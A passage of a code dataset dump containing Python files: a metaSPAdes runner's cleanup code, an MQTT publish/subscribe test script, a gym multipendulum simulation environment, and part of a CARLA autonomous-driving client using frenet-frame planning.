any files that were created in this process\n logging.info(\"Deleting temporary folder: {}\".format(temp_folder))\n shutil.rmtree(temp_folder)\n\n # Exit\n logging.info(\"Exit type: {}\".format(exc_type))\n logging.info(\"Exit code: {}\".format(exc_value))\n sys.exit(exc_value)\n\n # Delete any files that were created in this process\n logging.info(\"Deleting temporary folder: {}\".format(temp_folder))\n shutil.rmtree(temp_folder)\n\n # Stop logging\n logging.info(\"Done\")\n logging.shutdown()\n","sub_path":"run_metaspades.py","file_name":"run_metaspades.py","file_ext":"py","file_size_in_byte":20505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"408172393","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 18 11:07:11 2019\n\n@author: csrubin\n\"\"\"\nimport paho.mqtt.client as mqtt\nimport time\n\ndef on_message(client, userdata, message):\n print('Message received: ', str(message.payload.decode('utf-8')))\n print('Message topic: ', message.topic)\n print('Message qos: ', message.qos)\n print('Message retain flag: ', message.retain)\n\n\ntopic = 'node1'\nhost = 'broker.hivemq.com'\nport = 1883\n\nprint('Creating client')\nclient = mqtt.Client('test_client')\n\nclient.on_message = on_message\n\nprint('Connecting to host')\nclient.connect(host, port)\n\nclient.loop_start()\n\nwhile True:\n \n print('Subscribing to topic')\n client.subscribe(topic)\n \n print('Publishing message')\n client.publish(topic, 'TESTING...1, 2, 3...')\n \n time.sleep(4)\n\nclient.loop_stop()","sub_path":"dashboard/mqtt/mqtt_test.py","file_name":"mqtt_test.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"490134912","text":"import gym\nimport numpy as np\nfrom gym import error, spaces, utils\nfrom gym.utils import seeding\n\nfrom numpy import array, linspace, deg2rad, zeros\nfrom sympy import symbols\nfrom sympy.physics.mechanics import dynamicsymbols, ReferenceFrame, Point, inertia, RigidBody, KanesMethod\nfrom scipy.integrate import odeint\nfrom pydy.codegen.ode_function_generators import generate_ode_function\n\nimport matplotlib.pyplot as plt\n\nclass MultipendulumEnv(gym.Env):\n metadata = {'render.modes': ['human']}\n\n def __init__(self):\n #=======================#\n # Parameters for step() #\n #=======================#\n # Maximum number of steps before episode termination\n self.max_steps = 200\n # For ODE integration\n self.dt = .001 # Simultaion time step = 1ms\n self.sim_steps = 51 # Number of simulation steps in 1 learning step\n self.dt_step = np.linspace(0., self.dt*self.sim_steps, num=self.sim_steps) # Learning time step = 50ms\n # Termination conditions for simulation\n self.num_steps = 0 # Number of steps\n self.done = False\n # For visualisation\n self.viewer = None\n self.ax = False\n # Constraints for observation\n min_angle = -np.pi\n max_angle = np.pi\n min_omega = -10.\n max_omega = 10.\n min_torque = -10.\n max_torque = 10.\n low_state = np.array([min_angle, min_angle, min_angle, min_omega, min_omega, min_omega])\n high_state = np.array([max_angle, max_angle, max_angle, max_omega, max_omega, max_omega])\n low_action = np.array([min_torque, min_torque, min_torque])\n high_action = np.array([max_torque, max_torque, max_torque])\n self.action_space = spaces.Box(low=low_action, high=high_action)\n self.observation_space = spaces.Box(low=low_state, high=high_state)\n # Seed...\n self.seed()\n #==============#\n # Orientations #\n #==============#\n self.theta1, self.theta2, self.theta3 = dynamicsymbols('theta1, theta2, theta3')\n self.inertial_frame = ReferenceFrame('I')\n self.lower_leg_frame = ReferenceFrame('L')\n self.lower_leg_frame.orient(self.inertial_frame, 'Axis', (self.theta1, self.inertial_frame.z))\n self.upper_leg_frame = ReferenceFrame('U')\n self.upper_leg_frame.orient(self.lower_leg_frame, 'Axis', (self.theta2, self.lower_leg_frame.z))\n self.torso_frame = ReferenceFrame('T')\n self.torso_frame.orient(self.upper_leg_frame, 'Axis', (self.theta3, self.upper_leg_frame.z))\n #=================#\n # Point Locations #\n #=================#\n #--------#\n # Joints #\n #--------#\n self.lower_leg_length, self.upper_leg_length = symbols('l_L, l_U')\n self.ankle = Point('A')\n self.knee = Point('K')\n self.knee.set_pos(self.ankle, self.lower_leg_length * self.lower_leg_frame.y)\n self.hip = Point('H')\n self.hip.set_pos(self.knee, self.upper_leg_length * self.upper_leg_frame.y)\n #--------------------------#\n # Center of mass locations #\n #--------------------------#\n self.lower_leg_com_length, self.upper_leg_com_length, self.torso_com_length = symbols('d_L, d_U, d_T')\n self.lower_leg_mass_center = Point('L_o')\n self.lower_leg_mass_center.set_pos(self.ankle, self.lower_leg_com_length * self.lower_leg_frame.y)\n self.upper_leg_mass_center = Point('U_o')\n self.upper_leg_mass_center.set_pos(self.knee, self.upper_leg_com_length * self.upper_leg_frame.y)\n self.torso_mass_center = Point('T_o')\n self.torso_mass_center.set_pos(self.hip, self.torso_com_length * self.torso_frame.y)\n #===========================================#\n # Define kinematical differential equations #\n #===========================================#\n self.omega1, self.omega2, self.omega3 = dynamicsymbols('omega1, omega2, omega3')\n self.time = symbols('t')\n self.kinematical_differential_equations = [self.omega1 - self.theta1.diff(self.time),\n self.omega2 - self.theta2.diff(self.time),\n self.omega3 - self.theta3.diff(self.time)]\n #====================#\n # Angular Velocities #\n #====================#\n self.lower_leg_frame.set_ang_vel(self.inertial_frame, self.omega1 * self.inertial_frame.z)\n self.upper_leg_frame.set_ang_vel(self.lower_leg_frame, self.omega2 * self.lower_leg_frame.z)\n self.torso_frame.set_ang_vel(self.upper_leg_frame, self.omega3 * self.upper_leg_frame.z)\n #===================#\n # Linear Velocities #\n #===================#\n self.ankle.set_vel(self.inertial_frame, 0)\n self.lower_leg_mass_center.v2pt_theory(self.ankle, self.inertial_frame, self.lower_leg_frame)\n self.knee.v2pt_theory(self.ankle, self.inertial_frame, self.lower_leg_frame)\n self.upper_leg_mass_center.v2pt_theory(self.knee, self.inertial_frame, self.upper_leg_frame)\n self.hip.v2pt_theory(self.knee, self.inertial_frame, self.upper_leg_frame)\n self.torso_mass_center.v2pt_theory(self.hip, self.inertial_frame, self.torso_frame)\n #======#\n # Mass #\n #======#\n self.lower_leg_mass, self.upper_leg_mass, self.torso_mass = symbols('m_L, m_U, m_T')\n #=========#\n # Inertia #\n #=========#\n self.lower_leg_inertia, self.upper_leg_inertia, self.torso_inertia = symbols('I_Lz, I_Uz, I_Tz')\n self.lower_leg_inertia_dyadic = inertia(self.lower_leg_frame, 0, 0, self.lower_leg_inertia)\n self.lower_leg_central_inertia = (self.lower_leg_inertia_dyadic, self.lower_leg_mass_center)\n self.upper_leg_inertia_dyadic = inertia(self.upper_leg_frame, 0, 0, self.upper_leg_inertia)\n self.upper_leg_central_inertia = (self.upper_leg_inertia_dyadic, self.upper_leg_mass_center)\n self.torso_inertia_dyadic = inertia(self.torso_frame, 0, 0, self.torso_inertia)\n self.torso_central_inertia = (self.torso_inertia_dyadic, self.torso_mass_center)\n #==============#\n # Rigid Bodies #\n #==============#\n self.lower_leg = RigidBody('Lower Leg', self.lower_leg_mass_center, self.lower_leg_frame,\n self.lower_leg_mass, self.lower_leg_central_inertia)\n self.upper_leg = RigidBody('Upper Leg', self.upper_leg_mass_center, self.upper_leg_frame,\n self.upper_leg_mass, self.upper_leg_central_inertia)\n self.torso = RigidBody('Torso', self.torso_mass_center, self.torso_frame,\n self.torso_mass, self.torso_central_inertia)\n #=========#\n # Gravity #\n #=========#\n self.g = symbols('g')\n self.lower_leg_grav_force = (self.lower_leg_mass_center,\n -self.lower_leg_mass * self.g * self.inertial_frame.y)\n self.upper_leg_grav_force = (self.upper_leg_mass_center,\n -self.upper_leg_mass * self.g * self.inertial_frame.y)\n self.torso_grav_force = (self.torso_mass_center, -self.torso_mass * self.g * self.inertial_frame.y)\n #===============#\n # Joint Torques #\n #===============#\n self.ankle_torque, self.knee_torque, self.hip_torque = dynamicsymbols('T_a, T_k, T_h')\n self.lower_leg_torque = (self.lower_leg_frame,\n self.ankle_torque * self.inertial_frame.z - self.knee_torque *\n self.inertial_frame.z)\n self.upper_leg_torque = (self.upper_leg_frame,\n self.knee_torque * self.inertial_frame.z - self.hip_torque *\n self.inertial_frame.z)\n self.torso_torque = (self.torso_frame, self.hip_torque * self.inertial_frame.z)\n #=====================#\n # Equations of Motion #\n #=====================#\n self.coordinates = [self.theta1, self.theta2, self.theta3]\n self.speeds = [self.omega1, self.omega2, self.omega3]\n self.kane = KanesMethod(self.inertial_frame,\n self.coordinates,\n self.speeds,\n self.kinematical_differential_equations)\n self.loads = [self.lower_leg_grav_force,\n self.upper_leg_grav_force,\n self.torso_grav_force,\n self.lower_leg_torque,\n self.upper_leg_torque,\n self.torso_torque]\n self.bodies = [self.lower_leg, self.upper_leg, self.torso]\n self.fr, self.frstar = self.kane.kanes_equations(self.bodies, self.loads)\n self.mass_matrix = self.kane.mass_matrix_full\n self.forcing_vector = self.kane.forcing_full\n #=============================#\n # List the symbolic arguments #\n #=============================#\n #-----------#\n # Constants #\n #-----------#\n self.constants = [self.lower_leg_length,\n self.lower_leg_com_length,\n self.lower_leg_mass,\n self.lower_leg_inertia,\n self.upper_leg_length,\n self.upper_leg_com_length,\n self.upper_leg_mass,\n self.upper_leg_inertia,\n self.torso_com_length,\n self.torso_mass,\n self.torso_inertia,\n self.g]\n #--------------#\n # Time Varying #\n #--------------#\n self.coordinates = [self.theta1, self.theta2, self.theta3]\n self.speeds = [self.omega1, self.omega2, self.omega3]\n self.specified = [self.ankle_torque, self.knee_torque, self.hip_torque]\n #=======================#\n # Generate RHS Function #\n #=======================#\n self.right_hand_side = generate_ode_function(self.forcing_vector, self.coordinates, self.speeds,\n self.constants, mass_matrix=self.mass_matrix,\n specifieds=self.specified)\n #==============================#\n # Specify Numerical Quantities #\n #==============================#\n self.x = zeros(6)\n self.x[:3] = deg2rad(2.0)\n # taken from male1.txt in yeadon (maybe I should use the values in Winters).\n # self.numerical_constants = array([0.611, # lower_leg_length [m]\n # 0.387, # lower_leg_com_length [m]\n # 6.769, # lower_leg_mass [kg]\n # 0.101, # lower_leg_inertia [kg*m^2]\n # 0.424, # upper_leg_length [m]\n # 0.193, # upper_leg_com_length\n # 17.01, # upper_leg_mass [kg]\n # 0.282, # upper_leg_inertia [kg*m^2]\n # 0.305, # torso_com_length [m]\n # 32.44, # torso_mass [kg]\n # 1.485, # torso_inertia [kg*m^2]\n # 9.81]) # acceleration due to gravity [m/s^2]\n self.numerical_constants = array([0.500, # lower_leg_length [m]\n 0.250, # lower_leg_com_length [m]\n 0.500, # lower_leg_mass [kg]\n 0.03125, # lower_leg_inertia [kg*m^2]\n 0.500, # upper_leg_length [m]\n 0.250, # upper_leg_com_length\n 0.500, # upper_leg_mass [kg]\n 0.03125, # upper_leg_inertia [kg*m^2]\n 0.250, # torso_com_length [m]\n 0.500, # torso_mass [kg]\n 0.03125, # torso_inertia [kg*m^2]\n 9.81]) # acceleration due to gravity [m/s^2]\n\n def seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n def reset(self):\n # self.x = zeros(6)\n # self.x[:3] = deg2rad(2.0)\n self.num_steps = 0\n self.done = False\n self.x = np.random.randn(6)\n self.x[:3] += np.array([np.pi, np.pi, np.pi])\n return self._get_obs()\n\n def _get_obs(self):\n return self.x\n\n def sample_action(self):\n return np.random.randn(3)\n\n def step(self, action):\n if self.done == True or self.num_steps > self.max_steps:\n self.done = True\n reward = 0.\n return self.x, reward, self.done, {}\n else:\n # Increment the step counter\n self.num_steps += 1\n # Simulation\n self.x = odeint(self.right_hand_side, self.x, self.dt_step,\n args=(action, self.numerical_constants))[1]\n # Normalise joint angles to -pi ~ pi\n self.x[:3] = self.angle_normalise(self.x[:3])\n # Normalise the reward to 0. ~ 1.\n # Max reward: 0. -> 1.\n # Min reward: -59.90881320326807 -> 0.\n reward_unnormed = 60. - (self.x[0] ** 2 + self.x[1] ** 2 + self.x[2] ** 2 + .1 * self.x[3] ** 2 + .1 * self.x[4] ** 2 + .1 * self.x[5] ** 2 + .001 * action[0] ** 2 + .001 * action[1] ** 2 + .001 * action[2] ** 2)\n reward = reward_unnormed / 60.\n return self.x, reward, self.done, {}\n\n def angle_normalise(self, angle_input):\n return (((angle_input+np.pi) % (2*np.pi)) - np.pi)\n\n def render(self, mode='human'):\n if not self.ax:\n fig, ax = plt.subplots()\n ax.set_xlim([-5, 5])\n ax.set_ylim([-5, 5])\n ax.set_aspect('equal')\n self.ax = ax\n else:\n self.ax.clear()\n self.ax.set_xlim([-5, 5])\n self.ax.set_ylim([-5, 5])\n self.ax.set_aspect('equal')\n x0 = 0.\n y0 = 0.\n x1 = x0 + np.cos(self.x[0]+np.pi/2.)\n y1 = y0 + np.sin(self.x[0]+np.pi/2.)\n x2 = x1 + np.cos(self.x[1]+np.pi/2.)\n y2 = y1 + np.sin(self.x[1]+np.pi/2.)\n x3 = x2 + np.cos(self.x[2]+np.pi/2.)\n y3 = y2 + np.sin(self.x[2]+np.pi/2.)\n plt.plot([x0, x1, x2, x3], [y0, y1, y2, y3])\n plt.pause(0.01)","sub_path":"test06_deep_reinforcement_learning/multipendulum_env_old2.py","file_name":"multipendulum_env_old2.py","file_ext":"py","file_size_in_byte":13511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"88008698","text":"#!/usr/bin/env python\n\n# Copyright (c) 2018 Intel Labs.\n# authors: German Ros (german.ros@intel.com)\n# Mithun (mithun.babu@research.iiit.ac.in)\n#\n# This work is licensed under the terms of the MIT license.\n# For a copy, see .\n\n\"\"\"\n Example of automatic vehicle control using frenet frames from client side.\n\n Use CTRL+c to quit (will take 5-10 sec to disable syncronous mode) \n\n Adjust simulation parameters on line 106\n\"\"\"\n\nfrom __future__ import print_function\n\nimport argparse\nimport collections\nimport datetime\nimport glob\nimport logging\nimport math\nimport os\nimport random\nimport re\nimport sys\nimport queue\nimport weakref\nimport pdb\nimport time\nimport xlwt\nimport csv\nimport skvideo.io\nimport numpy as np\nsys.path.append('../')\nimport fplan.cubic_spline_planner\nimport fplan.frenet_optimal_trajectory as frenet_optimal_trajectory\nimport matplotlib.pyplot as plt\nfrom fplan.frenet_optimal_trajectory import frenet_optimal_planning\nfrom functools import wraps\nfrom xlwt import Workbook\n\ntry:\n import pygame\n from pygame.locals import KMOD_CTRL\n from pygame.locals import KMOD_SHIFT\n from pygame.locals import K_0\n from pygame.locals import K_9\n from pygame.locals import K_BACKQUOTE\n from pygame.locals import K_BACKSPACE\n from pygame.locals import K_COMMA\n from pygame.locals import K_DOWN\n from pygame.locals import K_ESCAPE\n from pygame.locals import K_F1\n from pygame.locals import K_LEFT\n from pygame.locals import K_PERIOD\n from pygame.locals import K_RIGHT\n from pygame.locals import K_SLASH\n from pygame.locals import K_SPACE\n from pygame.locals import K_TAB\n from pygame.locals import K_UP\n from pygame.locals import K_a\n from pygame.locals import K_c\n from pygame.locals import K_d\n from pygame.locals import K_h\n from pygame.locals import K_m\n from pygame.locals import K_p\n from pygame.locals import K_q\n from pygame.locals import K_r\n from pygame.locals import K_s\n from pygame.locals import K_w\n from pygame.locals import K_MINUS\n from pygame.locals import K_EQUALS\nexcept ImportError:\n raise RuntimeError('cannot import pygame, make sure pygame package is installed')\n\ntry:\n import numpy as np\nexcept ImportError:\n raise RuntimeError(\n 'cannot import numpy, make sure numpy package is installed')\n\n# ==============================================================================\n# -- find carla module ---------------------------------------------------------\n# ==============================================================================\ntry:\n sys.path.append(glob.glob('../carla/dist/carla-*%d.%d-%s.egg' % (\n sys.version_info.major,\n sys.version_info.minor,\n 'win-amd64' if os.name == 'nt' else 'linux-x86_64'))[0])\nexcept IndexError:\n pass\n\n# ==============================================================================\n# -- add PythonAPI for release mode --------------------------------------------\n# ==============================================================================\ntry:\n sys.path.append(glob.glob('../carla')[0])\nexcept IndexError:\n pass\n\nimport carla\nfrom carla import ColorConverter as cc\nfrom agents.navigation.roaming_agent import RoamingAgent\nfrom agents.navigation.basic_agent import BasicAgent\nfrom agents.tools.misc import is_within_distance\n\n# ==============================================================================\n# -- Simulation Parameters -----------------------------------------------------\n# ==============================================================================\n\nFPS = 10.0\nDTFPS = 1.0/(FPS)\nINTERSECTION_START = True\nDEBUG_PATH = True\nSAVE_VIDEO = True\nSAVE_DATA = True\nSPAWN_PLANNED = True\nRECORD_DATA = True\n\n# ==============================================================================\n# -- Global functions ----------------------------------------------------------\n# ==============================================================================\n\ndef find_weather_presets():\n rgx = re.compile('.+?(?:(?<=[a-z])(?=[A-Z])|(?<=[A-Z])(?=[A-Z][a-z])|$)')\n name = lambda x: ' '.join(m.group(0) for m in rgx.finditer(x))\n presets = [x for x in dir(carla.WeatherParameters) if re.match('[A-Z].+', x)]\n return [(getattr(carla.WeatherParameters, x), name(x)) for x in presets]\n\n\ndef get_actor_display_name(actor, truncate=250):\n name = ' '.join(actor.type_id.replace('_', '.').title().split('.')[1:])\n return (name[:truncate - 1] + u'\\u2026') if len(name) > truncate else name\n\ndef simple_time_tracker(log_fun):\n def _simple_time_tracker(fn):\n @wraps(fn)\n def wrapped_fn(*args, **kwargs):\n start_time = time.time()\n\n try:\n result = fn(*args, **kwargs)\n finally:\n elapsed_time = time.time() - start_time\n\n # log the result\n log_fun({\n 'function_name': fn.__name__,\n 'total_time': elapsed_time,\n })\n \n return result\n\n return wrapped_fn\n return _simple_time_tracker\n\ndef _log(message):\n print('[SimpleTimeTracker] {function_name} {total_time:.3f}'.format(**message))\n\ndef to_bgra_array(image):\n \"\"\"Convert a CARLA raw image to a BGRA numpy array.\"\"\"\n array = np.frombuffer(image.raw_data, dtype=np.dtype(\"uint8\"))\n array = np.reshape(array, (image.height, image.width, 4))\n return array\n\n# ==============================================================================\n# -- World ---------------------------------------------------------------\n# ==============================================================================\n\nclass World(object):\n def __init__(self, carla_world, hud, actor_filter, ego_start):\n self.world = carla_world\n self.map = self.world.get_map()\n self.hud = hud\n self.player = None\n self.collision_sensor = None\n self.lane_invasion_sensor = None\n self.gnss_sensor = None\n self.camera_manager = None\n self._weather_presets = find_weather_presets()\n self._weather_index = 0\n self._actor_filter = actor_filter\n self.restart(ego_start)\n self.world.on_tick(hud.on_world_tick)\n self.recording_enabled = False\n self.recording_start = 0\n\n def restart(self, ego_start):\n # Keep same camera config if the camera manager exists.\n cam_index = self.camera_manager.index if self.camera_manager is not None else 0\n cam_pos_index = self.camera_manager.transform_index if self.camera_manager is not None else 0\n \n # Get a blue ford mustang\n blueprint = self.world.get_blueprint_library().find(self._actor_filter)\n blueprint.set_attribute('role_name', 'hero')\n blueprint.set_attribute('color', '0,0,0')\n # Spawn the player.\n if INTERSECTION_START:\n spawn_points = self.map.get_spawn_points()\n spawn_point = spawn_points[ego_start]\n else:\n # point1\n # spawn_point = carla.Transform(carla.Location(x=4.5, y=-55, z=0.05), \\\n # carla.Rotation(yaw=-90))\n # point 2\n # spawn_point = carla.Transform(carla.Location(x=94.0, y=-4.5, z=0.05), \\\n # carla.Rotation(yaw=180))\n # point 3\n spawn_point = carla.Transform(carla.Location(x=-148.5, y=59, z = 0.05), \\\n carla.Rotation(yaw=90))\n if self.player is not None:\n self.destroy()\n self.player = self.world.try_spawn_actor(blueprint, spawn_point)\n # spawn at random spawn_point or at (0,0,0)\n while self.player is None:\n self.player = self.world.try_spawn_actor(blueprint, spawn_point)\n # Set up the sensors.\n self.collision_sensor = CollisionSensor(self.player, self.hud)\n self.lane_invasion_sensor = LaneInvasionSensor(self.player, self.hud)\n self.gnss_sensor = GnssSensor(self.player)\n self.camera_manager = CameraManager(self.player, self.hud)\n self.camera_manager.transform_index = cam_pos_index\n self.camera_manager.set_sensor(cam_index, notify=False)\n actor_type = get_actor_display_name(self.player)\n self.hud.notification(actor_type)\n\n def next_weather(self, reverse=False):\n self._weather_index += -1 if reverse else 1\n self._weather_index %= len(self._weather_presets)\n preset = self._weather_presets[self._weather_index]\n self.hud.notification('Weather: %s' % preset[1])\n self.player.get_world().set_weather(preset[0])\n\n def tick(self, clock):\n self.hud.tick(self, clock)\n\n def render(self, display):\n self.camera_manager.render(display)\n self.hud.render(display)\n\n def destroy_sensors(self):\n self.camera_manager.sensor.destroy()\n self.camera_manager.sensor = None\n self.camera_manager.index = None\n\n def destroy(self):\n actors = [\n self.camera_manager.sensor,\n self.collision_sensor.sensor,\n self.lane_invasion_sensor.sensor,\n self.gnss_sensor.sensor,\n self.player]\n for actor in actors:\n if actor is not None:\n actor.destroy()\n\n# ==============================================================================\n# -- KeyboardControl -----------------------------------------------------------\n# ==============================================================================\n\n\nclass KeyboardControl(object):\n def __init__(self, world, start_in_autopilot):\n self._autopilot_enabled = start_in_autopilot\n if isinstance(world.player, carla.Vehicle):\n self._control = carla.VehicleControl()\n world.player.set_autopilot(self._autopilot_enabled)\n elif isinstance(world.player, carla.Walker):\n self._control = carla.WalkerControl()\n self._autopilot_enabled = False\n self._rotation = world.player.get_transform().rotation\n else:\n raise NotImplementedError(\"Actor type not supported\")\n self._steer_cache = 0.0\n world.hud.notification(\"Press 'H' or '?' for help.\", seconds=4.0)\n\n def parse_events(self, client, world, clock):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n return True\n elif event.type == pygame.KEYUP:\n if self._is_quit_shortcut(event.key):\n return True\n elif event.key == K_BACKSPACE:\n world.restart()\n elif event.key == K_F1:\n world.hud.toggle_info()\n elif event.key == K_h or (event.key == K_SLASH and pygame.key.get_mods() & KMOD_SHIFT):\n world.hud.help.toggle()\n elif event.key == K_TAB:\n world.camera_manager.toggle_camera()\n elif event.key == K_c and pygame.key.get_mods() & KMOD_SHIFT:\n world.next_weather(reverse=True)\n elif event.key == K_c:\n world.next_weather()\n elif event.key == K_BACKQUOTE:\n world.camera_manager.next_sensor()\n elif event.key > K_0 and event.key <= K_9:\n world.camera_manager.set_sensor(event.key - 1 - K_0)\n elif event.key == K_r and not (pygame.key.get_mods() & KMOD_CTRL):\n world.camera_manager.toggle_recording()\n elif event.key == K_r and (pygame.key.get_mods() & KMOD_CTRL):\n if (world.recording_enabled):\n client.stop_recorder()\n world.recording_enabled = False\n world.hud.notification(\"Recorder is OFF\")\n else:\n client.start_recorder(\"manual_recording.rec\")\n world.recording_enabled = True\n world.hud.notification(\"Recorder is ON\")\n elif event.key == K_p and (pygame.key.get_mods() & KMOD_CTRL):\n # stop recorder\n client.stop_recorder()\n world.recording_enabled = False\n # work around to fix camera at start of replaying\n currentIndex = world.camera_manager.index\n world.destroy_sensors()\n # disable autopilot\n self._autopilot_enabled = False\n world.player.set_autopilot(self._autopilot_enabled)\n world.hud.notification(\"Replaying file 'manual_recording.rec'\")\n # replayer\n client.replay_file(\"manual_recording.rec\", world.recording_start, 0, 0)\n world.camera_manager.set_sensor(currentIndex)\n elif event.key == K_MINUS and (pygame.key.get_mods() & KMOD_CTRL):\n if pygame.key.get_mods() & KMOD_SHIFT:\n world.recording_start -= 10\n else:\n world.recording_start -= 1\n world.hud.notification(\"Recording start time is %d\" % (world.recording_start))\n elif event.key == K_EQUALS and (pygame.key.get_mods() & KMOD_CTRL):\n if pygame.key.get_mods() & KMOD_SHIFT:\n world.recording_start += 10\n else:\n world.recording_start += 1\n world.hud.notification(\"Recording start time is %d\" % (world.recording_start))\n if isinstance(self._control, carla.VehicleControl):\n if event.key == K_q:\n self._control.gear = 1 if self._control.reverse else -1\n elif event.key == K_m:\n self._control.manual_gear_shift = not self._control.manual_gear_shift\n self._control.gear = world.player.get_control().gear\n world.hud.notification('%s Transmission' % (\n 'Manual' if self._control.manual_gear_shift else 'Automatic'))\n elif self._control.manual_gear_shift and event.key == K_COMMA:\n self._control.gear = max(-1, self._control.gear - 1)\n elif self._control.manual_gear_shift and event.key == K_PERIOD:\n self._control.gear = self._control.gear + 1\n elif event.key == K_p and not (pygame.key.get_mods() & KMOD_CTRL):\n self._autopilot_enabled = not self._autopilot_enabled\n world.player.set_autopilot(self._autopilot_enabled)\n world.hud.notification(\n 'Autopilot %s' % ('On' if self._autopilot_enabled else 'Off'))\n if not self._autopilot_enabled:\n if isinstance(self._control, carla.VehicleControl):\n keys = pygame.key.get_pressed()\n if sum(keys) > 0:\n self._parse_vehicle_keys(keys, clock.get_time())\n self._control.reverse = self._control.gear < 0\n world.player.apply_control(self._control)\n elif isinstance(self._control, carla.WalkerControl):\n self._parse_walker_keys(pygame.key.get_pressed(), clock.get_time())\n world.player.apply_control(self._control)\n\n def _parse_vehicle_keys(self, keys, milliseconds):\n self._control.throttle = 1.0 if keys[K_UP] or keys[K_w] else 0.0\n steer_increment = 5e-4 * milliseconds\n if keys[K_LEFT] or keys[K_a]:\n self._steer_cache -= steer_increment\n elif keys[K_RIGHT] or keys[K_d]:\n self._steer_cache += steer_increment\n else:\n self._steer_cache = 0.0\n self._steer_cache = min(0.7, max(-0.7, self._steer_cache))\n self._control.steer = round(self._steer_cache, 1)\n self._control.brake = 1.0 if keys[K_DOWN] or keys[K_s] else 0.0\n self._control.hand_brake = keys[K_SPACE]\n\n def _parse_walker_keys(self, keys, milliseconds):\n self._control.speed = 0.0\n if keys[K_DOWN] or keys[K_s]:\n self._control.speed = 0.0\n if keys[K_LEFT] or keys[K_a]:\n self._control.speed = .01\n self._rotation.yaw -= 0.08 * milliseconds\n if keys[K_RIGHT] or keys[K_d]:\n self._control.speed = .01\n self._rotation.yaw += 0.08 * milliseconds\n if keys[K_UP] or keys[K_w]:\n self._control.speed = 5.556 if pygame.key.get_mods() & KMOD_SHIFT else 2.778\n self._control.jump = keys[K_SPACE]\n self._rotation.yaw = round(self._rotation.yaw, 1)\n self._control.direction = self._rotation.get_forward_vector()\n\n @staticmethod\n def _is_quit_shortcut(key):\n return (key == K_ESCAPE) or (key == K_q and pygame.key.get_mods() & KMOD_CTRL)\n\n# ==============================================================================\n# -- HUD -----------------------------------------------------------------------\n# ==============================================================================\n\n\nclass HUD(object):\n def __init__(self, width, height):\n self.dim = (width, height)\n font = pygame.font.Font(pygame.font.get_default_font(), 20)\n fonts = [x for x in pygame.font.get_fonts() if 'mono' in x]\n default_font = 'ubuntumono'\n mono = default_font if default_font in fonts else fonts[0]\n mono = pygame.font.match_font(mono)\n self._font_mono = pygame.font.Font(mono, 14)\n self._notifications = FadingText(font, (width, 40), (0, height - 40))\n self.help = HelpText(pygame.font.Font(mono, 24), width, height)\n self.server_fps = 0\n self.frame_number = 0\n self.simulation_time = 0\n self._show_info = True\n self._info_text = []\n self._server_clock = pygame.time.Clock()\n\n def on_world_tick(self, timestamp):\n self._server_clock.tick()\n self.server_fps = self._server_clock.get_fps()\n self.frame_number = timestamp.frame_count\n self.simulation_time = timestamp.elapsed_seconds\n\n def tick(self, world, clock):\n self._notifications.tick(world, clock)\n if not self._show_info:\n return\n t = world.player.get_transform()\n v = world.player.get_velocity()\n c = world.player.get_control()\n heading = 'N' if abs(t.rotation.yaw) < 89.5 else ''\n heading += 'S' if abs(t.rotation.yaw) > 90.5 else ''\n heading += 'E' if 179.5 > t.rotation.yaw > 0.5 else ''\n heading += 'W' if -0.5 > t.rotation.yaw > -179.5 else ''\n colhist = world.collision_sensor.get_collision_history()\n collision = [colhist[x + self.frame_number - 200] for x in range(0, 200)]\n max_col = max(1.0, max(collision))\n collision = [x / max_col for x in collision]\n vehicles = world.world.get_actors().filter('vehicle.*')\n self._info_text = [\n 'Server: % 16.0f FPS' % self.server_fps,\n 'Client: % 16.0f FPS' % clock.get_fps(),\n '',\n 'Vehicle: % 20s' % get_actor_display_name(world.player, truncate=20),\n 'Map: % 20s' % world.map.name,\n 'Simulation time: % 12s' % datetime.timedelta(seconds=int(self.simulation_time)),\n '',\n 'Speed: % 15.0f km/h' % (3.6 * math.sqrt(v.x ** 2 + v.y ** 2 + v.z ** 2)),\n u'Heading:% 16.0f\\N{DEGREE SIGN} % 2s' % (t.rotation.yaw, heading),\n 'Location:% 20s' % ('(% 5.1f, % 5.1f)' % (t.location.x, t.location.y)),\n 'GNSS:% 24s' % ('(% 2.6f, % 3.6f)' % (world.gnss_sensor.lat, world.gnss_sensor.lon)),\n 'Height: % 18.0f m' % t.location.z,\n '']\n if isinstance(c, carla.VehicleControl):\n self._info_text += [\n ('Throttle:', c.throttle, 0.0, 1.0),\n ('Steer:', c.steer, -1.0, 1.0),\n ('Brake:', c.brake, 0.0, 1.0),\n ('Reverse:', c.reverse),\n ('Hand brake:', c.hand_brake),\n ('Manual:', c.manual_gear_shift),\n 'Gear: %s' % {-1: 'R', 0: 'N'}.get(c.gear, c.gear)]\n elif isinstance(c, carla.WalkerControl):\n self._info_text += [\n ('Speed:', c.speed, 0.0, 5.556),\n ('Jump:', c.jump)]\n self._info_text += [\n '',\n 'Collision:',\n collision,\n '',\n 'Number of vehicles: % 8d' % len(vehicles)]\n if len(vehicles) > 1:\n self._info_text += ['Nearby vehicles:']\n\n def distance(l): return math.sqrt(\n (l.x - t.location.x) ** 2 + (l.y - t.location.y) ** 2 + (l.z - t.location.z) ** 2)\n vehicles = [(distance(x.get_location()), x) for x in vehicles if x.id != world.player.id]\n for d, vehicle in sorted(vehicles):\n if d > 200.0:\n break\n vehicle_type = get_actor_display_name(vehicle, truncate=22)\n self._info_text.append('% 4dm %s' % (d, vehicle_type))\n\n def toggle_info(self):\n self._show_info = not self._show_info\n\n def notification(self, text, seconds=2.0):\n self._notifications.set_text(text, seconds=seconds)\n\n def error(self, text):\n self._notifications.set_text('Error: %s' % text, (255, 0, 0))\n\n def render(self, display):\n if self._show_info:\n info_surface = pygame.Surface((220, self.dim[1]))\n info_surface.set_alpha(100)\n display.blit(info_surface, (0, 0))\n v_offset = 4\n bar_h_offset = 100\n bar_width = 106\n for item in self._info_text:\n if v_offset + 18 > self.dim[1]:\n break\n if isinstance(item, list):\n if len(item) > 1:\n points = [(x + 8, v_offset + 8 + (1.0 - y) * 30) for x, y in enumerate(item)]\n 